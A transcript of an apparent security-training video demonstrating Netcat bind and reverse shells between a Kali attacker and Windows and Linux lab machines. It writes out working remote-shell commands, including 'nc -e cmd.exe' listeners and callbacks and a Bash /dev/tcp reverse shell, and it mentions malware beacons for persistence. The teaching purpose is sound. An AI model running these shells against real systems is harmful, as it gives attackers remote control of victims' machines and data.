Let's take a look at how we can use Netcat
to create bind shells and reverse shells.
First, let's do a bind shell.
Now, if you remember,
a bind shell means we're going to initiate the connection
from our attacking machine over to our victim machine.
Now on my screen, I have Kali Linux on my left,
which will be my attack machine,
and I have a Windows 10 machine on the right
which will be my victim machine.
For this to work, we have to exploit our Windows 10 machine
in some mechanism that gives us access
to be able to run a listener on that machine.
Now, for the purposes of this demonstration,
we're not going to worry about how we got onto this machine,
but we're just going to go and set up
that listener using Netcat.
In the real world,
you would do this using spear fishing,
social engineering, or any kind of other network
or application-based attack
by installing malware onto the machine
that contains that listener with Netcat installed.
But for the purposes of our demonstration,
we're going to do this a lot simpler
by simply opening up the command prompt.
Now, I've already downloaded Netcat
and installed it onto this Windows machine,
but, again, in the real world you'd have
to do this using some kind of malware
or some kind of social engineering tactic.
Now, to set up the listener,
simply type nc to launch Netcat -lp,
for listening port, port 443 is the port
I want to listen on, -e for the command
I want to execute whenever a connection
is made to this listener.
And in my case,
that's going to be the command prompt command.exe.
Once you do that, hit Enter,
and now you'll see it's just sitting there
waiting for a connection and nothing's going to happen
until somebody tries to connect
to this Netcat Listener over port 443.
So, let's jump over to our Kali Linux attack machine
and make a call out to that listener using Netcat.
To do this, we're going to type in nc for Netcat,
the IP address of the Windows machine
that we want to connect to, in our case, 172.
16.218.129,
and then the port 443.
When I do this, I should get a Windows command prompt
inside of my Kali terminal
showing that I now have a connection
between the two machines.
Now, on the right, you'll see nothing's really happened
because all it's doing is taking whatever information
I send in through Netcat to that Windows machine
and executes it inside of the command prompt
because that's the command I wanted
to execute using that -e syntax.
Now what I want to do is minimize this command prompt
so you can see my desktop.
And I want to show you that we do have
a two-way connection between these two machines.
So from the machine on the left, the Kali machine,
I'm going to go ahead and do a directory listing.
Now I'm inside the user folder for Dion Training.
And you can see there are folders
like the Desktop, Documents, and Downloads.
I want to go ahead and move into the Desktop folder.
Now, from here if I do a DIR command,
you'll see there is nothing except
for the Google Chrome link on the desktop.
And you can see that's accurate
because on the right side of the screen,
you only see the Google Chrome link.
Now, if I wanted to leave some evidence
that I have been able to hack into this machine
using Netcat, I can do that by echoing out
something like "This machine has been hacked."
And then I'm going to pipe that over to a file
that I call hacked.txt.
And we are in the desktop folder.
So when I hit Enter,
that's going to show up over on the right hand side
as a text file.
Now, as you can see, when I open that file,
it says: "This machine has been hacked."
And this is evidence that we were able
to exploit that machine using Netcat over the network
and be able to add or remove things to that machine.
Now, if I wanted to get rid of that, I can do that as well.
Because, again, I have a full command prompt
tied to that Windows machine through my Kali terminal now.
If I wanted to delete that file, I can do that as well,
because, again, from the Kali machine,
I have remote access into the Windows command prompt
for the machine on the right hand side.
To do that, I'll simply type in del hacked.txt
and hit Enter.
And you'll see that on the right side,
that file has now been deleted and removed from the desktop.
This is what you can do when you have a bind
or reverse shell between the two machines.
All right, if I want to go ahead and get out of this shell,
what I'm going to do is just type in the word 'exit,'
and that's going to leave or exit the command prompt
from that Windows machine.
And this will return me back to the Kali terminal.
Now, on the right hand side,
you'll see that it is also exited out
of that listener command and so it's not ready
to listen to another command.
If I tried to run that command from the Kali machine again,
there's no one to answer the call.
Now, if we wanted to go ahead
and be able to answer that call,
I can simply arrow up on the right hand side and hit Enter,
and now there's a listener there,
it now has answered the call.
Notice that the attack machine,
when you are sending out that command
to be able to connect to that IP address over port 443,
it's going to continually try to do that
until it finds a listener there.
Now, this can be seen in the network defense logs
on that defender's side.
So you don't want to do this
if there's not a listener set up.
But, again, this is something you can do
where you can basically keep saying, "Are you there?
Are you there?
Are you ready for me?"
And eventually when that listener is set up,
it will then allow that connection to occur.
Now, a better way to do this
is to use a reverse shell, though.
All right, let's go ahead and exit out of that,
and you'll see that we now have
disconnected from both sides.
I'm going to go ahead and clear my screen
to bring us back to the top of each of the screens,
and that way we can start with our demonstration
of a reverse shell.
Now, a reverse shell is basically the same thing
we just did with a bind shell, but it's backwards.
Instead of us having the attacker box
making the connection over to the target,
we're instead going to have the listener
setup on our attack box and make the target call out to us.
This is a much more effective way
of doing things in the modern way of networks.
And the reason is that we have things like firewalls
in place that will block us going into somebody's network,
but they're all set up to allow their internal employees
to access things on the internet.
And when they establish that connection
or make that request, it then remembers that
and lets you come back in through the firewall
as a return response to the request that was made.
So, on the Kali side, we're going to set up our listener.
Again, we're going to use nc -lp 443,
and then we're just going to hit Enter.
And now it's just going to sit there,
waiting for anybody to connect over port 443.
Now on the right side with our victim machine,
we're going to type nc 172
.16.218.128
which is the IP of the listener on the Kali machine.
We're going to do that over port 443,
and here's the big difference.
When we make that connection,
we are going to do the execution command
on our local machine using cmd.exe.
Now, this is really the big difference
between a bind shell and a reverse shell.
With a reverse shell,
the listener is set up on the attack machine,
but the command execution is set up on the victim machine.
When I hit Enter,
you're going to see that on the Kali side,
we now have access to that Windows command prompt
and everything works just like it did with a bind shell.
The only difference
is who is requesting that initial connection.
Now, in the real world,
how would you have this happen using that reverse shell?
Well, you're going to end up having some piece of malware
or a beacon that's going to be established
from that Windows machine,
and maybe every day at 3:00 AM,
it's going to call out to that listener
on the Kali machine to make that connection
so we can then do whatever it is we want to do
on that Windows machine.
This is a method of having persistence
that you're going to have inside
of your networks during your engagement.
All right, for our final example,
I want to show you how you can use Netcat with other tools
that are natively installed on the victim system.
So for this example,
I'm going to be attacking from the Windows machine
over to the Kali machine,
because I want to go and attack its shell.
Now, for this example,
I'm going to use a reverse shell on the Windows machine.
So, it's nc -lp 443 and hit Enter.
Now, it's just going to sit there waiting for a connection.
Next, we're going to go over to the Kali machine,
which is now our victim in this case.
And we're using this to simulate
something like a Linux server
that you may have hacked as part of an engagement.
Now, if they don't have Netcat installed,
you can use the native Bash shell
and be able to create a connection between these two.
So, from the terminal on that Linux machine,
you can type in bash -i
>& /dev/tcp,
the IP address you want to connect to,
which is 172.16.218.129
in my case, / the port number,
which is 443, and then we're going to
use 0>&1.
And this is going to send everything
from the Bash shell over to the Windows machine.
And you can see I now have a prompt
that says, "kali@kali" over on the Windows side.
Now, what I'm going to do
is I'm going to create a second window
and you can see that here,
and I'm going to go ahead and bring it down a little bit.
Now, from the tilde directory
you can see that I have the Desktop,
the Documents, the Downloads, Music,
Pictures, Public, Templates, and Videos on my Kali machine.
Now, if I wanted to go into, for instance, the desktop,
I would just type in cd Desktop.
And from the desktop you'll see there's nothing there
because my desktop on the Kali machine is blank.
Now, on the right side,
if I want to be able to put something there
like that hacked file we did before, we can do that.
First, we need to figure out
what directory are we in on the Kali machine.
Well, you can see there it says kali@kali and the tilde
and then all that gobbledygook on the screen.
So if I wanted to go into the Desktop directory,
I can see ls, those directories match up
with the ones I see on the left.
And I'll just do cd Desktop.
Now, from the desktop, there's nothing in there
because there's nothing on the Kali's desktop,
but we're going to put something there
by using the command touch and then hacked.txt
which is just going to create
a blank text file called hacked.txt on the Kali desktop.
When I hit Enter,
you're going to see on the left side
that we now have a file on that desktop called hacked.txt.
And if I go ahead and minimize my terminals,
you'll see that's now sitting there right on the desktop.
Now, it's a blank file because all I used was touched
and I didn't put any content in here
but I could say,
"Here is the secret password," and I can save it.
And if I close it,
now, if I go back onto my Kali terminals,
you're going to see that file is there.
But on the right side, I can actually read that file
because, again, any Linux command will now work
because I'm tunneling it over into that Kali machine.
So if I do ls, I see the file "hacked" is there.
If I do cat, I can display the contents
to the screen like, "Here is the secret password."
And so you can see how powerful
it is to be able to create these reverse shells using Netcat
or using the native tools like Bash
to be able to do it as well.